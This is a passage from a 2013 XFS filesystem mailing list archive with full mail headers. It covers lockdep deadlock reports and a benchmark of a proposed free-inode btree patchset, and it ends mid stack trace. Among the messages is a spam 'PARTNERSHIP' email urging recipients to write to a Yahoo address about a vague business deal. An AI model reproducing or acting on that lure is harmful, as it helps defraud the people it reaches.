KDNEGTPAfWM3iGhiAIk3Z8vJqnLkELEg6pCm8UPy6EOh4JxEmi0iCRxUmSRbQLNhKLE76CFd IuDCuxs3fu5v///r7Ps+zs1eu/EYBqBg0LXj1tpcjvTDOYk7X5AiuzZBDlQcFXx84XCg8UT0 BFCkP8z4/B/5/4vkJphWG4wHgPwz9LBMD7KaFzYMEGJGBLkF/+LuSKcKEhbiCxog --------------090408020604090702060900-- From bfoster@redhat.com Sat Sep 7 07:35:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8C8AF7F59 for ; Sat, 7 Sep 2013 07:35:22 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6BB738F804B for ; Sat, 7 Sep 2013 05:35:19 -0700 (PDT) X-ASG-Debug-ID: 1378557315-04cbb02c3bdf1b50001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id uhFdJZNjAbzRL2n1 for ; Sat, 07 Sep 2013 05:35:15 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r87CZC4E003364 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 7 Sep 2013 08:35:12 -0400 Received: from laptop.bfoster (vpn-62-208.rdu2.redhat.com [10.10.62.208]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r87CZBrn019837 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Sat, 7 Sep 2013 08:35:12 -0400 Message-ID: <522B1CA6.1070804@redhat.com> Date: Sat, 07 Sep 2013 08:31:34 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: "Michael L. Semon" , xfs@oss.sgi.com Subject: Re: [RFC PATCH 00/11] xfs: introduce the free inode btree References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <5228F4D6.4050306@gmail.com> <20130906213555.GC12541@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 00/11] xfs: introduce the free inode btree In-Reply-To: <20130906213555.GC12541@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378557315 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 09/06/2013 05:35 PM, Dave Chinner wrote: > On Thu, Sep 05, 2013 at 05:17:10PM -0400, Michael L. Semon wrote: > .... >> [ 814.376620] XFS (sdb4): Mounting Filesystem >> [ 815.050778] XFS (sdb4): Ending clean mount >> [ 823.169368] >> [ 823.170932] ====================================================== >> [ 823.172146] [ INFO: possible circular locking dependency detected ] >> [ 823.172146] 3.11.0+ #5 Not tainted >> [ 823.172146] ------------------------------------------------------- >> [ 823.172146] dirstress/5276 is trying to acquire lock: >> [ 823.172146] (sb_internal){.+.+.+}, at: [] xfs_trans_alloc+0x1f/0x35 >> [ 823.172146] >> [ 823.172146] but task is already holding lock: >> [ 823.172146] (&(&ip->i_lock)->mr_lock){+++++.}, at: [] xfs_ilock+0x100/0x1f1 >> [ 823.172146] >> [ 823.172146] which lock already depends on the new lock. >> [ 823.172146] >> [ 823.172146] >> [ 823.172146] the existing dependency chain (in reverse order) is: >> [ 823.172146] >> [ 823.172146] -> #1 (&(&ip->i_lock)->mr_lock){+++++.}: >> [ 823.172146] [] __lock_acquire+0x345/0xa11 >> [ 823.172146] [] lock_acquire+0x88/0x17e >> [ 823.172146] [] _raw_spin_lock+0x47/0x74 >> [ 823.172146] [] __mark_inode_dirty+0x171/0x38c >> [ 823.172146] [] __set_page_dirty+0x5f/0x95 >> [ 823.172146] [] mark_buffer_dirty+0x58/0x12b >> [ 823.172146] [] __block_commit_write.isra.17+0x64/0x82 >> [ 823.172146] [] block_write_end+0x2b/0x53 >> [ 823.172146] [] generic_write_end+0x42/0x9a >> [ 823.172146] [] xfs_vm_write_end+0x60/0xbe >> [ 823.172146] [] generic_file_buffered_write+0x140/0x20f >> [ 823.172146] [] xfs_file_buffered_aio_write+0x10b/0x205 >> [ 823.172146] [] xfs_file_aio_write+0xad/0xec >> [ 823.172146] [] do_sync_write+0x60/0x87 >> [ 823.172146] [] vfs_write+0x9c/0x189 >> [ 823.172146] [] SyS_write+0x49/0x81 >> [ 823.172146] [] sysenter_do_call+0x12/0x32 >> [ 823.172146] >> [ 823.172146] -> #0 (sb_internal){.+.+.+}: >> [ 823.172146] [] validate_chain.isra.35+0xfc7/0xff4 >> [ 823.172146] [] __lock_acquire+0x345/0xa11 >> [ 823.172146] [] lock_acquire+0x88/0x17e >> [ 823.172146] [] __sb_start_write+0xad/0x177 >> [ 823.172146] [] xfs_trans_alloc+0x1f/0x35 >> [ 823.172146] [] xfs_inactive+0x129/0x4a3 >> [ 823.172146] [] xfs_fs_evict_inode+0x6c/0x114 >> [ 823.172146] [] evict+0x8e/0x15d >> [ 823.172146] [] iput+0xc4/0x138 >> [ 823.172146] [] dput+0x1b2/0x257 >> [ 823.172146] [] __fput+0x140/0x1eb >> [ 823.172146] [] ____fput+0xd/0xf >> [ 823.172146] [] task_work_run+0x67/0x90 >> [ 823.172146] [] do_notify_resume+0x61/0x63 >> [ 823.172146] [] work_notifysig+0x1f/0x25 >> [ 823.172146] >> [ 823.172146] other info that might help us debug this: >> [ 823.172146] >> [ 823.172146] Possible unsafe locking scenario: >> [ 823.172146] >> [ 823.172146] CPU0 CPU1 >> [ 823.172146] ---- ---- >> [ 823.172146] lock(&(&ip->i_lock)->mr_lock); >> [ 823.172146] lock(sb_internal); >> [ 823.172146] lock(&(&ip->i_lock)->mr_lock); >> [ 823.172146] lock(sb_internal); > > Ah, now there's something I missed in all the xfs_inactive > transaction rework - you can't call > xfs_trans_alloc()/xfs-trans_reserve with the XFS_ILOCK_??? held. > It's not the freeze locks you really have to worry about deadlocking > if you do, it's deadlocking against log space that is much more > likely. > > i.e. if you hold the ILOCK, the AIL can't get it to flush the inode > to disk. That means if the inode you hold locked is pinning the tail > of the log and there is no logspace for the transaction you are > about to run, xfs_trans_reserve() will block forever waiting for the > inode to be flushed and the tail of the log to move forward. This > will end up blocking all further reservations and hence deadlock the > filesystem... > > Brian, if you rewrite xfs_inactive in the way that I suggested, this > problem goes away ;) > > Thanks for reporting this, Michael. > Oh, very interesting scenario. Thanks again for catching this, Michael, and for the analysis, Dave. I'll get this cleaned up in the next revision as well. Brian > Cheers, > > Dave. > From guittonfarms@platinum.ca Sat Sep 7 19:21:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 942BB7F58 for ; Sat, 7 Sep 2013 19:21:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 831FB304032 for ; Sat, 7 Sep 2013 17:21:40 -0700 (PDT) X-ASG-Debug-ID: 1378599698-04cbb02c3ce15b90001-w1Z2WR Received: from frontend2.platinum.ca (pcc-yyc-mx-01.platinum.ca [69.31.192.18]) by cuda.sgi.com with SMTP id FZBziKl8TNEdsArS for ; Sat, 07 Sep 2013 17:21:38 -0700 (PDT) X-Barracuda-Envelope-From: guittonfarms@platinum.ca X-Barracuda-Apparent-Source-IP: 69.31.192.18 Received: (qmail 11317 invoked from network); 7 Sep 2013 23:44:42 -0000 Received: from localhost.localdomain (HELO webmail.platinum.ca) (guittonfarms@platinum.ca@127.0.0.1) by frontend2.platinum.ca with SMTP (775987de-1817-11e3-b825-001143d827d1); Sat, 07 Sep 2013 17:44:42 -0600 Received: from unknown ([41.71.216.33]) (SquirrelMail authenticated user guittonfarms@platinum.ca) by webmail.platinum.ca with HTTP; Sat, 7 Sep 2013 17:44:42 -0600 (MDT) Message-ID: <61c302b6fe161349ce41433de50b09ec.squirrel@webmail.platinum.ca> Date: Sat, 7 Sep 2013 17:44:42 -0600 (MDT) Subject: PARTNERSHIP From: "Dennis and Lorna Guitton" X-ASG-Orig-Subj: PARTNERSHIP Reply-To: "Dennis & Lorna" User-Agent: SquirrelMail/1.4.15 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-MagicMail-UUID: 775987de-1817-11e3-b825-001143d827d1 X-MagicMail-Authenticated: guittonfarms@platinum.ca X-Barracuda-Connect: pcc-yyc-mx-01.platinum.ca[69.31.192.18] X-Barracuda-Start-Time: 1378599698 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.41 X-Barracuda-Spam-Status: No, SCORE=1.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA298e, MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140427 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 TO_CC_NONE No To: or Cc: header 0.20 BSF_SC7_SA298e Custom Rule SA298e To: undisclosed-recipients:; i have a business to discuss with you, for information contact me via: kmrscecilia@yahoo.com Mrs Cecilia Koenig From mlsemon35@gmail.com Sat Sep 7 20:04:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id ED7287F58 for ; Sat, 7 Sep 2013 20:04:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 60FBDAC001 for ; Sat, 7 Sep 2013 18:04:43 -0700 (PDT) X-ASG-Debug-ID: 1378602280-04cbb02c3be175c0001-NocioJ Received: from mail-qc0-f174.google.com (mail-qc0-f174.google.com [209.85.216.174]) by cuda.sgi.com with ESMTP id PQv5FZdNIDDcxW7o (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 07 Sep 2013 18:04:41 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.174 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.174] Received: by mail-qc0-f174.google.com with SMTP id n9so134477qcw.33 for ; Sat, 07 Sep 2013 18:04:40 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.174] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.174] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=5TALPC8pmqvfI+9BIPptwd/D4aNVd5Zu2exswrGWYlg=; b=zNz3QZYGr+fRpTbidDRsdYFdJ0NjLWbyKWfVGI7lF8qxnStWb9dZytsL4MTFZ03aJJ Lp/VmRuPKox6Fw9MqSjo6elx4lAqEeWDfaHCeHb73JiwbNVG/a9paFCpAKhkSyoQCgS+ LXZxGlzbLX46VmMAbXe1lnVNRHpOCdOKAQGpPRB0fefrE0nBNRHay3F4QID4a39rW8Dz BYcVgw7/U3cLeyvG5YZvpWgPO/Cw4lhULlII0WPs12/HLAsKiI4xe47uzEITmulq2ITE 430uridMHJHQJ2SFPSf1UCmJ4OE7W9KDdTLLePT7yDoB0K0E4m+Ye25aFr1u7Gsd2xdo TV9g== X-Received: by 10.49.51.167 with SMTP id l7mr11748381qeo.52.1378602280584; Sat, 07 Sep 2013 18:04:40 -0700 (PDT) Received: from [192.168.0.129] (rrcs-97-79-21-178.se.biz.rr.com. [97.79.21.178]) by mx.google.com with ESMTPSA id m5sm9811518qaa.13.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 07 Sep 2013 18:04:40 -0700 (PDT) Message-ID: <522BCD20.9040405@gmail.com> Date: Sat, 07 Sep 2013 21:04:32 -0400 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Brian Foster CC: Dave Chinner , xfs@oss.sgi.com Subject: Re: [RFC PATCH 00/11] xfs: introduce the free inode btree References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <5228F4D6.4050306@gmail.com> <20130906213555.GC12541@dastard> <522B1CA6.1070804@redhat.com> X-ASG-Orig-Subj: Re: [RFC PATCH 00/11] xfs: introduce the free inode btree In-Reply-To: <522B1CA6.1070804@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-qc0-f174.google.com[209.85.216.174] X-Barracuda-Start-Time: 1378602281 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140428 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 09/07/2013 08:31 AM, Brian Foster wrote: > On 09/06/2013 05:35 PM, Dave Chinner wrote: >> On Thu, Sep 05, 2013 at 05:17:10PM -0400, Michael L. Semon wrote: >> .... >>> [ 814.376620] XFS (sdb4): Mounting Filesystem >>> [ 815.050778] XFS (sdb4): Ending clean mount >>> [ 823.169368] >>> [ 823.170932] ====================================================== >>> [ 823.172146] [ INFO: possible circular locking dependency detected ] >>> [ 823.172146] 3.11.0+ #5 Not tainted >>> [ 823.172146] ------------------------------------------------------- >>> [ 823.172146] dirstress/5276 is trying to acquire lock: >>> [ 823.172146] (sb_internal){.+.+.+}, at: [] xfs_trans_alloc+0x1f/0x35 >>> [ 823.172146] >>> [ 823.172146] but task is already holding lock: >>> [ 823.172146] (&(&ip->i_lock)->mr_lock){+++++.}, at: [] xfs_ilock+0x100/0x1f1 >>> [ 823.172146] >>> [ 823.172146] which lock already depends on the new lock. >>> [ 823.172146] >>> [ 823.172146] >>> [ 823.172146] the existing dependency chain (in reverse order) is: >>> [ 823.172146] >>> [ 823.172146] -> #1 (&(&ip->i_lock)->mr_lock){+++++.}: >>> [ 823.172146] [] __lock_acquire+0x345/0xa11 >>> [ 823.172146] [] lock_acquire+0x88/0x17e >>> [ 823.172146] [] _raw_spin_lock+0x47/0x74 >>> [ 823.172146] [] __mark_inode_dirty+0x171/0x38c >>> [ 823.172146] [] __set_page_dirty+0x5f/0x95 >>> [ 823.172146] [] mark_buffer_dirty+0x58/0x12b >>> [ 823.172146] [] __block_commit_write.isra.17+0x64/0x82 >>> [ 823.172146] [] block_write_end+0x2b/0x53 >>> [ 823.172146] [] generic_write_end+0x42/0x9a >>> [ 823.172146] [] xfs_vm_write_end+0x60/0xbe >>> [ 823.172146] [] generic_file_buffered_write+0x140/0x20f >>> [ 823.172146] [] xfs_file_buffered_aio_write+0x10b/0x205 >>> [ 823.172146] [] xfs_file_aio_write+0xad/0xec >>> [ 823.172146] [] do_sync_write+0x60/0x87 >>> [ 823.172146] [] vfs_write+0x9c/0x189 >>> [ 823.172146] [] SyS_write+0x49/0x81 >>> [ 823.172146] [] sysenter_do_call+0x12/0x32 >>> [ 823.172146] >>> [ 823.172146] -> #0 (sb_internal){.+.+.+}: >>> [ 823.172146] [] validate_chain.isra.35+0xfc7/0xff4 >>> [ 823.172146] [] __lock_acquire+0x345/0xa11 >>> [ 823.172146] [] lock_acquire+0x88/0x17e >>> [ 823.172146] [] __sb_start_write+0xad/0x177 >>> [ 823.172146] [] xfs_trans_alloc+0x1f/0x35 >>> [ 823.172146] [] xfs_inactive+0x129/0x4a3 >>> [ 823.172146] [] xfs_fs_evict_inode+0x6c/0x114 >>> [ 823.172146] [] evict+0x8e/0x15d >>> [ 823.172146] [] iput+0xc4/0x138 >>> [ 823.172146] [] dput+0x1b2/0x257 >>> [ 823.172146] [] __fput+0x140/0x1eb >>> [ 823.172146] [] ____fput+0xd/0xf >>> [ 823.172146] [] task_work_run+0x67/0x90 >>> [ 823.172146] [] do_notify_resume+0x61/0x63 >>> [ 823.172146] [] work_notifysig+0x1f/0x25 >>> [ 823.172146] >>> [ 823.172146] other info that might help us debug this: >>> [ 823.172146] >>> [ 823.172146] Possible unsafe locking scenario: >>> [ 823.172146] >>> [ 823.172146] CPU0 CPU1 >>> [ 823.172146] ---- ---- >>> [ 823.172146] lock(&(&ip->i_lock)->mr_lock); >>> [ 823.172146] lock(sb_internal); >>> [ 823.172146] lock(&(&ip->i_lock)->mr_lock); >>> [ 823.172146] lock(sb_internal); >> >> Ah, now there's something I missed in all the xfs_inactive >> transaction rework - you can't call >> xfs_trans_alloc()/xfs-trans_reserve with the XFS_ILOCK_??? held. >> It's not the freeze locks you really have to worry about deadlocking >> if you do, it's deadlocking against log space that is much more >> likely. >> >> i.e. if you hold the ILOCK, the AIL can't get it to flush the inode >> to disk. That means if the inode you hold locked is pinning the tail >> of the log and there is no logspace for the transaction you are >> about to run, xfs_trans_reserve() will block forever waiting for the >> inode to be flushed and the tail of the log to move forward. This >> will end up blocking all further reservations and hence deadlock the >> filesystem... >> >> Brian, if you rewrite xfs_inactive in the way that I suggested, this >> problem goes away ;) >> >> Thanks for reporting this, Michael. >> > > Oh, very interesting scenario. Thanks again for catching this, Michael, > and for the analysis, Dave. I'll get this cleaned up in the next > revision as well. > > Brian > >> Cheers, >> >> Dave. >> > No problem, Brian. I'll try out your userspace as well. I had worked a bit on getting some sane numbers that are better than "results for copying 3 kernel gits to a 1k-blocksize FS with write cache turned off." Here's my attempt, as a more formal report. Thanks! Michael [REPORT FOLLOWS] Lockdep threw off the debug numbers for your patchset--a new lockdep is at the very end--so these tests were done with a fairly non-debug setup. The write cache is on for these tests as well. Casual "user command" benchmark using built 3.11.0+ kernel git tarball. The idea behind it: 1) Unpack a tarball, and 2) do something with its contents. The total files are among these: $TEST_DIR/a/linux/ ... $TEST_DIR/b/linux/ ... $TEST_DIR/kernel-git-built-2013-08-05.tar.gz The file systems are as follows: v4: mkfs.xfs -l logdev=$TEST_LOGDEV $TEST_DEV v4dirent: mkfs.xfs -n ftype=1 -l logdev=$TEST_LOGDEV $TEST_DEV v4d512bi: mkfs.xfs -n ftype=1 -i log=9 -l logdev=$TEST_LOGDEV $TEST_DEV v5: mkfs.xfs -m crc=1 -l logdev=$TEST_LOGDEV $TEST_DEV Dave had a benchmark set to break down v5 performance changes into a 512-byte-inode component and a CRC component. This is my edition of the benchmark, done with old spinning rust on x86 hardware, and updated to reflect your patchset. Patchset notation: "normal" is the normal xfs-oss/master with Dave's latest patches on top; "itree" adds the inode btree code. This is non-debug XFS. Tracers, lockdep, and almost all other "Kernel Hacking" kernel config items are not enabled. It's still a CONFIG_KERNEL_DEBUG=y kernel, though. ======================= REAL ======================== command patch v4 v4dirent v4d512bi v5 ==========|======|========|========|========|======== tar -xf normal 103.202 104.951 101.771 104.486 tar -xf itree 104.610 101.705 98.784 101.919 ----------+------+--------+--------+--------+-------- sha256sum normal 227.456 228.321 231.947 234.127 sha256sum itree 230.233 229.375 231.509 233.253 ----------+------+--------+--------+--------+-------- cp -r a b normal 239.714 242.754 248.994 249.584 cp -r a b itree 241.273 243.216 248.531 254.501 ----------+------+--------+--------+--------+-------- find . normal 11.894 12.370 12.324 12.397 find . itree 12.043 12.310 12.736 13.216 ----------+------+--------+--------+--------+-------- rm -r b normal 8.556 8.744 11.298 11.774 rm -r b itree 8.904 8.981 10.590 12.057 ----------+------+--------+--------+--------+-------- cp -r b a normal 262.065 256.448 272.290 272.221 cp -r b a itree 264.116 265.875 267.346 270.811 ----------+------+--------+--------+--------+-------- rm -r b normal 8.585 9.258 8.791 10.058 rm -r b itree 9.061 8.345 9.909 9.273 ----------+------+--------+--------+--------+-------- stat normal 161.853 162.772 163.555 165.046 stat itree 162.641 163.148 163.698 164.015 ----------+------+--------+--------+--------+-------- sha check normal 133.938 133.016 141.352 142.921 sha check itree 133.885 133.399 138.013 143.315 ----------+------+--------+--------+--------+-------- cp tarball normal 44.102 42.812 43.603 43.722 cp tarball itree 43.724 44.187 44.339 42.761 ==========|======|========|========|========|======== TOTAL normal 1201.365 1201.446 1235.925 1246.336 TOTAL itree 1210.490 1210.541 1225.455 1245.121 ======================= USER ======================== command patch v4 v4dirent v4d512bi v5 ==========|======|========|========|========|======== tar -xf normal 59.223 59.473 58.817 59.640 tar -xf itree 59.420 59.473 58.953 59.893 ----------+------+--------+--------+--------+-------- sha256sum normal 49.877 49.877 49.787 49.730 sha256sum itree 49.437 49.863 49.583 49.673 ----------+------+--------+--------+--------+-------- cp -r a b normal 0.697 0.707 0.743 0.800 cp -r a b itree 0.657 0.710 0.677 0.703 ----------+------+--------+--------+--------+-------- find . normal 0.257 0.237 0.233 0.223 find . itree 0.283 0.223 0.223 0.203 ----------+------+--------+--------+--------+-------- rm -r b normal 0.170 0.120 0.147 0.160 rm -r b itree 0.160 0.163 0.130 0.137 ----------+------+--------+--------+--------+-------- cp -r b a normal 0.817 0.763 0.817 0.763 cp -r b a itree 0.737 0.740 0.787 0.670 ----------+------+--------+--------+--------+-------- rm -r b normal 0.170 0.153 0.140 0.133 rm -r b itree 0.140 0.157 0.143 0.163 ----------+------+--------+--------+--------+-------- stat normal 1.660 1.653 1.570 1.720 stat itree 1.737 1.727 1.700 1.630 ----------+------+--------+--------+--------+-------- sha check normal 58.467 58.603 58.550 58.370 sha check itree 58.157 58.183 58.620 58.343 ----------+------+--------+--------+--------+-------- cp tarball normal 0.023 0.027 0.033 0.037 cp tarball itree 0.017 0.020 0.020 0.020 ==========|======|========|========|========|======== TOTAL normal 171.361 171.613 170.837 171.576 TOTAL itree 170.745 171.259 170.836 171.435 ======================== SYS ======================== command patch v4 v4dirent v4d512bi v5 ==========|======|========|========|========|======== tar -xf normal 19.770 19.800 19.960 20.770 tar -xf itree 19.550 19.930 20.067 20.963 ----------+------+--------+--------+--------+-------- sha256sum normal 17.157 14.607 14.393 16.053 sha256sum itree 17.277 14.813 14.550 15.007 ----------+------+--------+--------+--------+-------- cp -r a b normal 18.697 18.973 18.687 19.253 cp -r a b itree 19.033 18.993 18.783 19.703 ----------+------+--------+--------+--------+-------- find . normal 0.820 0.573 0.537 0.597 find . itree 0.793 0.593 0.547 0.610 ----------+------+--------+--------+--------+-------- rm -r b normal 3.883 3.827 3.800 3.967 rm -r b itree 4.053 3.937 4.003 4.143 ----------+------+--------+--------+--------+-------- cp -r b a normal 19.043 19.083 18.753 19.503 cp -r b a itree 19.203 19.100 19.040 19.680 ----------+------+--------+--------+--------+-------- rm -r b normal 4.097 3.947 3.900 4.123 rm -r b itree 4.287 4.067 4.093 4.227 ----------+------+--------+--------+--------+-------- stat normal 11.337 10.730 10.727 10.680 stat itree 11.080 10.827 10.800 10.457 ----------+------+--------+--------+--------+-------- sha check normal 8.970 8.920 8.980 9.507 sha check itree 9.053 9.143 8.540 9.420 ----------+------+--------+--------+--------+-------- cp tarball normal 5.537 5.397 5.470 5.373 cp tarball itree 5.390 5.313 5.460 5.343 ==========|======|========|========|========|======== TOTAL normal 109.311 105.857 105.207 109.826 TOTAL itree 109.719 106.716 105.883 109.553 The rest of this report is supplementary noise and the lockdep. # XFS kernel configuration: CONFIG_XFS_FS=y CONFIG_XFS_QUOTA=y CONFIG_XFS_POSIX_ACL=y CONFIG_XFS_RT=y # CONFIG_XFS_WARN is not set # CONFIG_XFS_DEBUG is not set # `uname -a` output: Linux plbearer 3.11.0+ #4 Sat Sep 7 13:04:53 EDT 2013 i686 Intel(R) Pentium(R) 4 CPU 1.80GHz GenuineIntel GNU/Linux RAM: 512 MB, less 9 MB for capture kernel # Hard drive used for $TEST_DEV: Model Family: Western Digital Caviar Device Model: WDC WD600BB-75CAA0 User Capacity: 60,022,480,896 bytes [60.0 GB] # Hard drive used for $TEST_LOGDEV and kernel-git tarball: Model Family: Seagate Barracuda 7200.9 Device Model: ST3120814A User Capacity: 120,034,123,776 bytes [120 GB] root@plbearer:~/results# uname -a # Sample xfs_info output for $TEST_DEV, to show how XFS is using the partition: meta-data=/dev/sdb4 isize=512 agcount=4, agsize=720896 blks = sectsz=512 attr=2, projid32bit=1 = crc=0 data = bsize=4096 blocks=2883584, imaxpct=25 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0 log =external bsize=4096 blocks=32768, version=2 = sectsz=512 sunit=0 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 # cat /proc/partitions major minor #blocks name 8 0 117220824 sda 8 1 98304 sda1 # shared /boot 8 2 1 sda2 8 5 65536 sda5 8 6 131072 sda6 # $TEST_LOGDEV 8 7 131072 sda7 8 8 616448 sda8 8 9 11275264 sda9 # inactive root (v5 XFS), holds tarball 8 10 104895960 sda10 11 0 1048575 sr0 8 16 58615704 sdb 8 17 3406848 sdb1 # active root partition (JFS) 8 18 786432 sdb2 8 19 20971520 sdb3 8 20 11534336 sdb4 # $TEST_DEV 8 21 4128768 sdb5 8 22 786432 sdb6 8 23 524288 sdb7 8 24 524288 sdb8 8 25 1048576 sdb9 8 26 10708871 sdb10 8 27 4194304 sdb11 Lockdep that kept tar jobs from completing. It was found during several other tests before I gave up on the debug benchmark idea. ================================= [ INFO: inconsistent lock state ] 3.11.0+ #2 Not tainted --------------------------------- inconsistent {IN-RECLAIM_FS-W} -> {RECLAIM_FS-ON-W} usage. tar/287 [HC0[0]:SC0[0]:HE1:SE1] takes: (&(&ip->i_lock)->mr_lock){++++?-}, at: [] xfs_ilock+0x100/0x1f1 {IN-RECLAIM_FS-W} state was registered at: [] __lock_acquire+0x63b/0x1953 [] lock_acquire+0x88/0x17e [] down_write_nested+0x4f/0x9d [] xfs_ilock+0x100/0x1f1 [] xfs_reclaim_inode+0xf4/0x30a [] xfs_reclaim_inodes_ag+0x2b1/0x488 [] xfs_reclaim_inodes_nr+0x2d/0x33 [] xfs_fs_free_cached_objects+0x13/0x15 [] prune_super+0xd1/0x15c [] shrink_slab+0x143/0x3d8 [] kswapd+0x45d/0x835 [] kthread+0xa7/0xa9 [] ret_from_kernel_thread+0x1b/0x28 irq event stamp: 23333689 hardirqs last enabled at (23333689): [] _raw_spin_unlock_irq+0x27/0x36 hardirqs last disabled at (23333688): [] _raw_spin_lock_irq+0x15/0x7a softirqs last enabled at (23333678): [] __do_softirq+0x142/0x2ce softirqs last disabled at (23333649): [] irq_exit+0x6d/0x73 other info that might help us debug this: Possible unsafe locking scenario: CPU0 ---- lock(&(&ip->i_lock)->mr_lock); lock(&(&ip->i_lock)->mr_lock); *** DEADLOCK *** 3 locks held by tar/287: #0: (sb_writers#8){.+.+.+}, at: [] mnt_want_write+0x1e/0x3e #1: (&(&ip->i_lock)->mr_lock){++++?-}, at: [] xfs_ilock+0x100/0x1f1 #2: (sb_internal){.+.+.+}, at: [] xfs_trans_alloc+0x1f/0x35 stack backtrace: CPU: 0 PID: 287 Comm: tar Not tainted 3.11.0+ #2 Hardware name: Dell Computer Corporation Dimension 2350/07W080, BIOS A01 12/17/2002 de296540 de296540 de3e7d5c c14db319 de3e7d98 c14d8708 c1618f4e c1619343 0000011f 00000000 00000000 00000000 00000000 00000001 00000001 c1619343 0000000a de2969b0 00000400 de3e7dcc c106e6c4 0000000a de3e7e1c c10703d1 Call Trace: [] dump_stack+0x16/0x18 [] print_usage_bug+0x1dc/0x1e6 [] mark_lock+0x28c/0x2c1 [] ? __lock_acquire+0x375/0x1953 [] ? print_shortest_lock_dependencies+0x18f/0x18f [] mark_held_locks+0x81/0xe7 [] 